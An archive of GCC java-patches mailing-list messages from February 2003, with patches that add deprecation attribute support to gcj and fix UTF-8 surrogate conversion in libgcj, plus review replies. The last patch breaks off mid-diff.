Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26576 invoked by alias); 21 Feb 2003 20:03:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26556 invoked from network); 21 Feb 2003 20:03:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 20:03:14 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA23309; Fri, 21 Feb 2003 13:03:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6E90F4F828E; Fri, 21 Feb 2003 12:54:37 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: fix gcj deprecation support From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: All of life is a blur of Republicans and meat! Date: 21 Feb 2003 12:54:37 -0700 Message-ID: <87y949csua.fsf@fleche.redhat.com> Lines: 322 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Anthony recently noticed that we weren't emitting deprecation information in our .class files. This patch fixes the problem. It fixes bugs in recognizing @deprecated in the javadoc, and it changes the bytecode generator to emit Deprecated attributes for methods, fields, and classes. I tested this on various test cases here. I haven't checked in any new test cases as there is no need -- our nightly japi comparisons will quickly show any problems here. (That is how Anthony discovered this in the first place.) I also used this patch to rebuild libgcj from scratch. I ran the test suite with no regressions. Ok for trunk and 3.3? (The particular patch appended is against 3.3. A slightly different patch is required for the trunk, to account for function declaration changes.) Tom Index: ChangeLog from Tom Tromey * jcf-write.c (append_deprecated_attribute): New function. (generate_classfile): Generate deprecated attribute when appropriate. * lex.c (java_parse_doc_section): Return type now void. Rewrote. (java_lex) [case '*']: Simplify logic. Index: jcf-write.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-write.c,v retrieving revision 1.110.2.2 diff -u -r1.110.2.2 jcf-write.c --- jcf-write.c 24 Jan 2003 23:15:30 -0000 1.110.2.2 +++ jcf-write.c 21 Feb 2003 11:16:43 -0000 @@ -1,5 +1,6 @@ /* Write out a Java(TM) class file. - Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. This file is part of GNU CC. @@ -343,6 +344,7 @@ static void call_cleanups PARAMS ((struct jcf_block *, struct jcf_partial *)); static char *make_class_file_name PARAMS ((tree)); static unsigned char *append_synthetic_attribute PARAMS ((struct jcf_partial *)); +static void append_deprecated_attribute PARAMS ((struct jcf_partial *)); static void append_innerclasses_attribute PARAMS ((struct jcf_partial *, tree)); static void append_innerclasses_attribute_entry PARAMS ((struct jcf_partial *, tree, tree)); static void append_gcj_attribute PARAMS ((struct jcf_partial *, tree)); @@ -2967,7 +2969,10 @@ if (have_value) attr_count++; - if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) || FIELD_SYNTHETIC (part)) + if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) + || FIELD_SYNTHETIC (part)) + attr_count++; + if (FIELD_DEPRECATED (part)) attr_count++; PUT2 (attr_count); /* attributes_count */ @@ -2990,6 +2995,8 @@ if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) || FIELD_SYNTHETIC (part)) ptr = append_synthetic_attribute (state); + if (FIELD_DEPRECATED (part)) + append_deprecated_attribute (state); fields_count++; } ptr = fields_count_ptr; UNSAFE_PUT2 (fields_count); @@ -3025,6 +3032,9 @@ i++; synthetic_p = 1; } + /* Make room for Deprecated attribute. */ + if (METHOD_DEPRECATED (part)) + i++; PUT2 (i); /* attributes_count */ @@ -3165,6 +3175,10 @@ PUT2 (i); } } + + if (METHOD_DEPRECATED (part)) + append_deprecated_attribute (state); + methods_count++; current_function_decl = save_function; } @@ -3186,6 +3200,9 @@ i++; if (clas == object_type_node) i++; + if (CLASS_DEPRECATED (TYPE_NAME (clas))) + i++; + PUT2 (i); /* attributes_count */ /* generate the SourceFile attribute. */ @@ -3201,6 +3218,8 @@ PUT2 (i); append_gcj_attribute (state, clas); append_innerclasses_attribute (state, clas); + if (CLASS_DEPRECATED (TYPE_NAME (clas))) + append_deprecated_attribute (state); /* New finally generate the contents of the constant pool chunk. */ i = count_constant_pool_bytes (&state->cpool); @@ -3228,6 +3247,18 @@ PUT4 (0); /* Attribute length */ return ptr; +} + +static void +append_deprecated_attribute (state) + struct jcf_partial *state; +{ + unsigned char *ptr = append_chunk (NULL, 6, state); + int i; + + i = find_utf8_constant (&state->cpool, get_identifier ("Deprecated")); + PUT2 (i); /* Attribute string index */ + PUT4 (0); /* Attribute length */ } static void Index: lex.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lex.c,v retrieving revision 1.97.2.1 diff -u -r1.97.2.1 lex.c --- lex.c 28 Jan 2003 18:48:16 -0000 1.97.2.1 +++ lex.c 21 Feb 2003 11:16:44 -0000 @@ -1,5 +1,6 @@ /* Language lexer for the GNU compiler for the Java(TM) language. - Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. Contributed by Alexandre Petit-Bianco (apbianco@cygnus.com) This file is part of GNU CC. @@ -50,7 +51,7 @@ static int java_parse_escape_sequence PARAMS ((void)); static int java_start_char_p PARAMS ((unicode_t)); static int java_part_char_p PARAMS ((unicode_t)); -static int java_parse_doc_section PARAMS ((int)); +static void java_parse_doc_section PARAMS ((int)); static void java_parse_end_comment PARAMS ((int)); static int java_get_unicode PARAMS ((void)); static int java_read_unicode PARAMS ((java_lexer *, int *)); @@ -684,58 +685,105 @@ } } -/* Parse the documentation section. Keywords must be at the beginning +/* Parse the documentation section. Keywords must be at the beginning of a documentation comment line (ignoring white space and any `*' - character). Parsed keyword(s): @DEPRECATED. */ + character). Parsed keyword(s): `@deprecated'. */ -static int +static void java_parse_doc_section (c) int c; { - int valid_tag = 0, seen_star = 0; + int saw_deprecated = 0; + int last_was_star; + int first_time = 1; + + /* We loop over all the lines of the comment. We'll eventually exit + if we hit EOF prematurely, or when we see the comment + terminator. */ + while (1) + { + /* These first steps need only be done if we're still looking + for the deprecated tag. If we've already seen it, we might + as well skip looking for it again. */ + if (! saw_deprecated) + { + /* Skip leading white space. */ + while (JAVA_WHITE_SPACE_P (c)) + c = java_get_unicode (); + + if (c == UEOF) + goto eof; + + /* If we saw a '*' then we want to check for a following + @deprecated. Also, if we are still processing the first + line, then @deprecated should be expected -- we've + already processed the '**'. */ + if (c == '*' || first_time) + { + /* Skip spaces and '*'s. We must also check for the end + of the comment here. */ + while (JAVA_WHITE_SPACE_P (c) || c == '*') + { + last_was_star = (c == '*'); + c = java_get_unicode (); + if (last_was_star && c == '/') + { + /* We just saw the comment terminator. */ + return; + } + } - while (JAVA_WHITE_SPACE_P (c) || (c == '*') || c == '\n') - { - switch (c) - { - case '*': - seen_star = 1; - break; - case '\n': /* ULT */ - valid_tag = 1; - default: - seen_star = 0; - } - c = java_get_unicode(); - } + if (c == UEOF) + goto eof; - if (c == UEOF) - java_lex_error ("Comment not terminated at end of input", 0); + if (c == '@') + { + const char *deprecated = "@deprecated"; + int i; - if (seen_star && (c == '/')) - return 1; /* Goto step1 in caller. */ + for (i = 0; deprecated[i]; ++i) + { + if (c != deprecated[i]) + break; + /* We write the code in this way, with the + update at the end, so that after the loop + we're left with the next character in C. */ + c = java_get_unicode (); + } - /* We're parsing `@deprecated'. */ - if (valid_tag && (c == '@')) - { - char tag [11]; - int tag_index = 0; + if (c == UEOF) + goto eof; + if (! deprecated[i]) + { + saw_deprecated = 1; + ctxp->deprecated = 1; + } + } + } + } - while (tag_index < 10 && c != UEOF && c != ' ' && c != '\n') + /* We've examined the relevant content from this line. Now we + skip the remaining characters and start over with the next + line. We also check for end of comment here. */ + while (c != '\n' && c != UEOF) { + last_was_star = (c == '*'); c = java_get_unicode (); - tag [tag_index++] = c; + if (last_was_star && c == '/') + return; } if (c == UEOF) - java_lex_error ("Comment not terminated at end of input", 0); - tag [tag_index] = '\0'; - - if (!strcmp (tag, "deprecated")) - ctxp->deprecated = 1; + goto eof; + /* We have to advance past the \n. */ + c = java_get_unicode (); + if (c == UEOF) + goto eof; + first_time = 0; } - java_unget_unicode (); - return 0; + + eof: + java_lex_error ("Comment not terminated at end of input", 0); } /* Return true if C is a valid start character for a Java identifier. @@ -962,13 +1010,16 @@ case '*': if ((c = java_get_unicode ()) == '*') { - if ((c = java_get_unicode ()) == '/') - goto step1; /* Empty documentation comment. */ - else if (java_parse_doc_section (c)) - goto step1; + c = java_get_unicode (); + if (c == '/') + { + /* Empty documentation comment. */ + } + else + java_parse_doc_section (c); } - - java_parse_end_comment ((c = java_get_unicode ())); + else + java_parse_end_comment ((c = java_get_unicode ())); goto step1; break; default: From java-patches-return-6248-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 22 00:05:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28584 invoked by alias); 22 Feb 2003 00:05:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28577 invoked from network); 22 Feb 2003 00:05:07 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 22 Feb 2003 00:05:07 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA17878; Fri, 21 Feb 2003 17:05:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8EBB04F828E; Fri, 21 Feb 2003 16:56:31 -0700 (MST) To: Anthony Green Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Thread doc merge and new method References: <1045824633.11019.1694.camel@escape> <87el61e9vg.fsf@fleche.redhat.com> <1045855540.17559.80.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! Is this sexual intercourse yet?? Is it, huh, is it?? Date: 21 Feb 2003 16:56:31 -0700 In-Reply-To: <1045855540.17559.80.camel@escape> Message-ID: <87smuhchn4.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >> How hard would it be to fully merge Thread? Or more fully merge it? Anthony> I don't know. I'll look at it more carefully. We have things like Anthony> RawData in our implementation. Even an 80% merge is useful. Probably most code can be shared. I've been marking divergences with `GCJ LOCAL', so they show up in the classpath diffs. Anthony> BTW - thanks for getting the japi stuff working. I think it will be Anthony> very useful once we get the bugs ironed out. Yeah. It's already being useful. I may add nightly rhug builds too. I really need to move this stuff to flametree so I can get nice regression analysis. Tom From java-patches-return-6249-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 22 05:06:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20917 invoked by alias); 22 Feb 2003 05:06:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20905 invoked from network); 22 Feb 2003 05:06:24 -0000 Received: from unknown (HELO email1.byu.edu) (128.187.22.133) by 172.16.49.205 with SMTP; 22 Feb 2003 05:06:24 -0000 Received: from email.byu.edu ([10.7.224.202]) by EMAIL1.BYU.EDU (PMDF V6.2 #30538) with ESMTPA id <01KSPRE3J9OC8YO5S1@EMAIL1.BYU.EDU>; Fri, 21 Feb 2003 22:04:18 -0700 (MST) Date: Fri, 21 Feb 2003 22:04:20 -0700 From: Eric Blake Subject: Re: Patch: fix gcj deprecation support To: tromey@redhat.com Cc: java-patches@gcc.gnu.org, Gcc Patch List Message-id: <3E5704D4.4060108@email.byu.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 References: <87y949csua.fsf@fleche.redhat.com> Have you run the Jacks tests on deprecation in jvms/class-file-format/attributes/deprecated-attribute? Note that Sun's javadoc and javac currently parse this differently; the jacks tests are based on javadocs behavior and there is an open bug in Sun's database to make javac comply. Right now jikes gets it correct, for a reference if you need it. Tom Tromey wrote: > Anthony recently noticed that we weren't emitting deprecation > information in our .class files. > > This patch fixes the problem. It fixes bugs in recognizing > @deprecated in the javadoc, and it changes the bytecode generator to > emit Deprecated attributes for methods, fields, and classes. > > I tested this on various test cases here. I haven't checked in any > new test cases as there is no need -- our nightly japi comparisons > will quickly show any problems here. (That is how Anthony discovered > this in the first place.) -- This signature intentionally left boring. Eric Blake ebb9@email.byu.edu BYU student, free software programmer From java-patches-return-6250-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 22 18:03:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29558 invoked by alias); 22 Feb 2003 18:03:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29551 invoked from network); 22 Feb 2003 18:03:35 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 22 Feb 2003 18:03:35 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18mdzS-0008HH-00; Sat, 22 Feb 2003 19:03:10 +0100 Subject: Partial fix for libgcj/9802 From: Mark Wielaard To: java-patches@gcc.gnu.org Cc: James Clark , Jesse Rosenstock Content-Type: multipart/mixed; boundary="=-kJu5YmNgzaWu89BwxpE5" Organization: Message-Id: <1045937012.3332.605.camel@elsschot> Mime-Version: 1.0 Date: 22 Feb 2003 19:03:32 +0100 --=-kJu5YmNgzaWu89BwxpE5 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following is a partial fix for libgcj/9802 (Bug in surrogate handling in Unicode to UTF-8 conversion). This only fixes the case for UTF-8 surrogates but as James Clark explains this can also occur in other multibyte encodings. In principle the other encoders can also be rewritten to use the new bytes_todo field to indicate that more output is available. But I am hoping that converting the encoders to the new java.nio.charset framework will eliminate this problem since it has explicit support for this (see CoderResult, Jesse Rosenstock will certainly correct me if I am wrong). But I do not expect that we can finish that work for 3.3, so just fixing it now for UTF-8 seems worthwhile. I also added the testcase that James Clark made to Mauve and it passes with this patch. Since non of the other encoders use the bytes_todo field this does not impact any other encoders, just UTF-8. 2002-02-22 Mark Wielaard Partial fix for PR libgcj/8738: * gnu/gcj/convert/UnicodeToBytes.java (bytes_todo): New field. (done): Reset bytes_todo field. * gnu/gcj/convert/Output_UTF8.java (bytes_todo): Removed field. (write): Always decrease avail when count is increased. * java/lang/natString.cc (getByes): Check converter->bytes_todo. OK for branch and mainline? Cheers, Mark --=-kJu5YmNgzaWu89BwxpE5 Content-Disposition: inline; filename=convert.patch Content-Type: text/x-patch; name=convert.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: gnu/gcj/convert/Output_UTF8.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_UTF8.java,v retrieving revision 1.6 diff -u -r1.6 Output_UTF8.java --- gnu/gcj/convert/Output_UTF8.java 8 Aug 2000 17:35:32 -0000 1.6 +++ gnu/gcj/convert/Output_UTF8.java 22 Feb 2003 17:40:28 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000 Free Software Foundation +/* Copyright (C) 1999, 2000, 2003 Free Software Foundation This file is part of libgcj. @@ -27,8 +27,6 @@ char hi_part; // Value of incomplete character. int value; - // Number of continuation bytes still to emit. - int bytes_todo; public int write (char[] inbuffer, int inpos, int inlength) { @@ -104,6 +102,7 @@ { value = (hi_part - 0xD800) * 0x400 + (ch - 0xDC00) + 0x10000; buf[count++] = (byte) (0xF0 | (value >> 18)); + avail--; bytes_todo = 3; hi_part = 0; } Index: gnu/gcj/convert/UnicodeToBytes.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/UnicodeToBytes.java,v retrieving revision 1.9 diff -u -r1.9 UnicodeToBytes.java --- gnu/gcj/convert/UnicodeToBytes.java 18 Aug 2001 03:56:01 -0000 1.9 +++ gnu/gcj/convert/UnicodeToBytes.java 22 Feb 2003 17:40:28 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -15,6 +15,9 @@ public byte[] buf; public int count; + /** Remaining bytes that couldn't yet be written to buf. */ + public int bytes_todo; + // The name of the default encoding. static String defaultEncoding; @@ -157,6 +160,7 @@ { this.buf = null; this.count = 0; + this.bytes_todo = 0; encoderCache[currCachePos] = this; currCachePos = (currCachePos + 1) % CACHE_SIZE; Index: java/lang/natString.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natString.cc,v retrieving revision 1.27 diff -u -r1.27 natString.cc --- java/lang/natString.cc 13 Jun 2002 18:16:26 -0000 1.27 +++ java/lang/natString.cc 22 Feb 2003 17:40:28 -0000 @@ -1,6 +1,6 @@ // natString.cc - Implementation of java.lang.String native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -586,7 +586,7 @@ jint offset = 0; gnu::gcj::convert::UnicodeToBytes *converter = gnu::gcj::convert::UnicodeToBytes::getEncoder(enc); - while (todo > 0) + while (todo > 0 || converter->bytes_todo > 0) { converter->setOutput(buffer, bufpos); int converted = converter->write(this, offset, todo, NULL); --=-kJu5YmNgzaWu89BwxpE5-- From java-patches-return-6251-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 05:06:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8113 invoked by alias); 23 Feb 2003 05:06:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8100 invoked from network); 23 Feb 2003 05:06:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Feb 2003 05:06:45 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA18606; Sat, 22 Feb 2003 22:06:42 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AD7914F83F1; Sat, 22 Feb 2003 21:58:23 -0700 (MST) To: Eric Blake Cc: java-patches@gcc.gnu.org, Gcc Patch List Subject: Re: Patch: fix gcj deprecation support References: <87y949csua.fsf@fleche.redhat.com> <3E5704D4.4060108@email.byu.edu> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I want another RE-WRITE on my CAESAR SALAD!! Date: 22 Feb 2003 21:58:23 -0700 In-Reply-To: <3E5704D4.4060108@email.byu.edu> Message-ID: <877kbrbnkg.fsf@fleche.redhat.com> Lines: 917 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Eric" == Eric Blake writes: Eric> Have you run the Jacks tests on deprecation in Eric> jvms/class-file-format/attributes/deprecated-attribute? I had, but only to verify there weren't any regressions. Inspired by your note, I looked at the tests and fixed all the bugs that were reasonably fixable. The remaining problems seem to require some out-of-band collaboration between the parser and the lexer; this is sufficiently difficult that I didn't try it today. Also 4.7.10-jvms-class-18 fails due to a bug in name resolution; this is outside the scope of what I was interested in working on today. New patch appended. Tested on x86 Red Hat Linux 7.3; rebuilt libgcj; no regressions. This patch does much more. In particular it changes the .class file reader to read the Deprecated attribute and it adds a -Wdeprecated command-line option. Incidentally, Jacks passes `-deprecation' to the javac it invokes. This doesn't work properly with gcj. It seems to me that this is another case where a `javac'-like wrapper would make things easier for us; I didn't try to fix this problem, since for use -Wdeprecated is the default. Ok? Tom Index: gcc/java/ChangeLog from Tom Tromey * lang-options.h: Added -Wdeprecated. * gcj.texi (Warnings): Document -Wdeprecated. * java-tree.h (flag_deprecated): Declare. * lang.c (lang_W_options): Added deprecated. (flag_deprecated): New global. * gen-table.pl (process_one): Look at whitespace. (print_tables): Define LETTER_SPACE, LETTER_MASK. * parse.h (CLEAR_DEPRECATED): New macro. (CHECK_DEPRECATED_NO_RESET): New macro. * jcf-parse.c (handle_deprecated): New function. (HANDLE_DEPRECATED_ATTRIBUTE): New define. * jcf-reader.c (get_attribute): Handle Deprecated attribute. * parse.y (resolve_type_during_patch): Check deprecation. (jdep_resolve_class): Likewise. (process_imports): Likewise. (resolve_expression_name): Likewise. (check_deprecation): Strip arrays from decl. Check flag_deprecated. (patch_method_invocation): Also check the particular constructor for deprecation. (register_fields): Use CHECK_DEPRECATED_NO_RESET in loop. * jcf-write.c (append_deprecated_attribute): New function. (generate_classfile): Generate deprecated attribute when appropriate. * lex.c (java_parse_doc_section): Return type now void. Rewrote. (java_lex) [case '*']: Simplify logic. (java_start_char_p): Use LETTER_MASK. (java_part_char_p): Likewise. (java_space_char_p): New function. Index: gcc/java/gcj.texi =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/gcj.texi,v retrieving revision 1.42.4.7 diff -u -r1.42.4.7 gcj.texi --- gcc/java/gcj.texi 4 Feb 2003 01:55:43 -0000 1.42.4.7 +++ gcc/java/gcj.texi 23 Feb 2003 04:54:56 -0000 @@ -338,6 +338,9 @@ newer than its matching class file. By default @command{gcj} will warn about this. +@item -Wno-deprecated +Warn if a deprecated class, method, or field is referred to. + @item -Wunused This is the same as @command{gcc}'s @code{-Wunused}. Index: gcc/java/gen-table.pl =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/gen-table.pl,v retrieving revision 1.4 diff -u -r1.4 gen-table.pl --- gcc/java/gen-table.pl 29 Dec 2001 04:31:10 -0000 1.4 +++ gcc/java/gen-table.pl 23 Feb 2003 04:54:56 -0000 @@ -1,6 +1,6 @@ #! /usr/bin/perl -# Copyright (C) 2000, 2001 Free Software Foundation +# Copyright (C) 2000, 2001, 2003 Free Software Foundation # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -130,7 +130,7 @@ { my ($code, @fields) = @_; - my $value = ''; + my @value = (); my $type = $fields[$CATEGORY]; # See if the character is a valid identifier start. @@ -138,7 +138,7 @@ || $type eq 'Pc' # Connecting punctuation || $type eq 'Sc') # Currency symbol { - $value = 'LETTER_START'; + push (@value, 'LETTER_START'); } # See if the character is a valid identifier member. @@ -159,23 +159,29 @@ && $code <= 0x206f) || $code == 0xfeff) # ZWNBSP { - if ($value eq '') - { - $value = 'LETTER_PART'; - } - else - { - $value = 'LETTER_PART | ' . $value; - } + push (@value, 'LETTER_PART'); + } + + if (($type =~ /Z./ + # Java treats some values specially as non-spaces. + && $code != 0x00a0 + && $code != 0x2007 + && $code != 0x202f) + # And for our purposes there are some that should be specially + # treated as spaces. + || $code == 0x000b + || ($code >= 0x001c && $code <= 0x001f)) + { + push (@value, 'LETTER_SPACE'); } - if ($value eq '') + if (! @value) { $value = '0'; } else { - $value = '(' . $value . ')'; + $value = '(' . join (' | ', @value) . ')'; } $map[$code] = $value; @@ -196,7 +202,9 @@ print OUT "#define GCC_CHARTABLES_H\n\n"; print OUT "#define LETTER_START 1\n"; - print OUT "#define LETTER_PART 2\n\n"; + print OUT "#define LETTER_PART 2\n"; + print OUT "#define LETTER_SPACE 4\n\n"; + print OUT "#define LETTER_MASK 7\n\n"; for ($count = 0; $count <= $last; $count += 256) { Index: gcc/java/java-tree.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/java-tree.h,v retrieving revision 1.163 diff -u -r1.163 java-tree.h --- gcc/java/java-tree.h 18 Nov 2002 18:13:35 -0000 1.163 +++ gcc/java/java-tree.h 23 Feb 2003 04:54:57 -0000 @@ -1,6 +1,6 @@ /* Definitions for parsing and type checking for the GNU compiler for the Java(TM) language. - Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002 + Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU CC. @@ -172,6 +172,9 @@ /* When nonzero, report the now deprecated empty statements. */ extern int flag_extraneous_semicolon; + +/* When nonzero, report use of deprecated classes, methods, or fields. */ +extern int flag_deprecated; /* When nonzero, always check for a non gcj generated classes archive. */ Index: gcc/java/jcf-parse.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-parse.c,v retrieving revision 1.124.2.2 diff -u -r1.124.2.2 jcf-parse.c --- gcc/java/jcf-parse.c 3 Feb 2003 14:06:32 -0000 1.124.2.2 +++ gcc/java/jcf-parse.c 23 Feb 2003 04:54:57 -0000 @@ -97,6 +97,7 @@ static void parse_source_file_2 PARAMS ((void)); static void parse_source_file_3 PARAMS ((void)); static void parse_class_file PARAMS ((void)); +static void handle_deprecated PARAMS ((void)); static void set_source_filename PARAMS ((JCF *, int)); static void ggc_mark_jcf PARAMS ((void**)); static void jcf_parse PARAMS ((struct JCF*)); @@ -125,6 +126,23 @@ } } +/* Handle "Deprecated" attribute. */ +static void +handle_deprecated () +{ + if (current_field != NULL_TREE) + FIELD_DEPRECATED (current_field) = 1; + else if (current_method != NULL_TREE) + METHOD_DEPRECATED (current_method) = 1; + else if (current_class != NULL_TREE) + CLASS_DEPRECATED (TYPE_NAME (current_class)) = 1; + else + { + /* Shouldn't happen. */ + abort (); + } +} + /* Handle "SourceFile" attribute. */ static void @@ -220,6 +238,8 @@ } \ DECL_FUNCTION_THROWS (current_method) = nreverse (list); \ } + +#define HANDLE_DEPRECATED_ATTRIBUTE() handle_deprecated () /* Link seen inner classes to their outer context and register the inner class to its outer context. They will be later loaded. */ Index: gcc/java/jcf-reader.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-reader.c,v retrieving revision 1.16 diff -u -r1.16 jcf-reader.c --- gcc/java/jcf-reader.c 25 Nov 2002 14:22:06 -0000 1.16 +++ gcc/java/jcf-reader.c 23 Feb 2003 04:54:57 -0000 @@ -2,7 +2,7 @@ It is not stand-alone: It depends on tons of macros, and the intent is you #include this file after you've defined the macros. - Copyright (C) 1996, 1997, 1998, 1999, 2000 Free Software Foundation, Inc. + Copyright (C) 1996, 1997, 1998, 1999, 2000, 2003 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -222,6 +222,13 @@ if (MATCH_ATTRIBUTE ("gnu.gcj.gcj-compiled")) { HANDLE_GCJCOMPILED_ATTRIBUTE (); + } + else +#endif +#ifdef HANDLE_DEPRECATED_ATTRIBUTE + if (MATCH_ATTRIBUTE ("Deprecated")) + { + HANDLE_DEPRECATED_ATTRIBUTE (); } else #endif Index: gcc/java/jcf-write.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-write.c,v retrieving revision 1.110.2.2 diff -u -r1.110.2.2 jcf-write.c --- gcc/java/jcf-write.c 24 Jan 2003 23:15:30 -0000 1.110.2.2 +++ gcc/java/jcf-write.c 23 Feb 2003 04:54:58 -0000 @@ -1,5 +1,6 @@ /* Write out a Java(TM) class file. - Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. This file is part of GNU CC. @@ -343,6 +344,7 @@ static void call_cleanups PARAMS ((struct jcf_block *, struct jcf_partial *)); static char *make_class_file_name PARAMS ((tree)); static unsigned char *append_synthetic_attribute PARAMS ((struct jcf_partial *)); +static void append_deprecated_attribute PARAMS ((struct jcf_partial *)); static void append_innerclasses_attribute PARAMS ((struct jcf_partial *, tree)); static void append_innerclasses_attribute_entry PARAMS ((struct jcf_partial *, tree, tree)); static void append_gcj_attribute PARAMS ((struct jcf_partial *, tree)); @@ -2967,7 +2969,10 @@ if (have_value) attr_count++; - if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) || FIELD_SYNTHETIC (part)) + if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) + || FIELD_SYNTHETIC (part)) + attr_count++; + if (FIELD_DEPRECATED (part)) attr_count++; PUT2 (attr_count); /* attributes_count */ @@ -2990,6 +2995,8 @@ if (FIELD_THISN (part) || FIELD_LOCAL_ALIAS (part) || FIELD_SYNTHETIC (part)) ptr = append_synthetic_attribute (state); + if (FIELD_DEPRECATED (part)) + append_deprecated_attribute (state); fields_count++; } ptr = fields_count_ptr; UNSAFE_PUT2 (fields_count); @@ -3025,6 +3032,9 @@ i++; synthetic_p = 1; } + /* Make room for Deprecated attribute. */ + if (METHOD_DEPRECATED (part)) + i++; PUT2 (i); /* attributes_count */ @@ -3165,6 +3175,10 @@ PUT2 (i); } } + + if 